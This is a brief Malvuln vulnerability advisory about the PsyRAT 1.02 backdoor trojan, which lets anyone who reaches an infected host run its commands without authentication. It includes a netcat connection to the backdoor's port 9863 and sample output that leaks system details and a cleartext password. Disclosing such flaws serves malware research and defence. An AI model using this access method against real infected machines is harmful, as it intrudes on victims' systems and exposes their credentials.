Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.PsyRat.b  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password.  
Type: PE32  
MD5: 5817183894cb513239f6aef28895130c  
Vuln ID: MVID-2021-0306  
Dropped files: server.exe  
Disclosure: 07/26/2021  
nc64.exe x.x.x.x 9863  
Invalid command  
you are a loser  
Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port:|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL:  
Invalid command.  
PsyRAT 0.01 BETA  
C:\ - Fixed Drive^D:\ - CD-ROM^  
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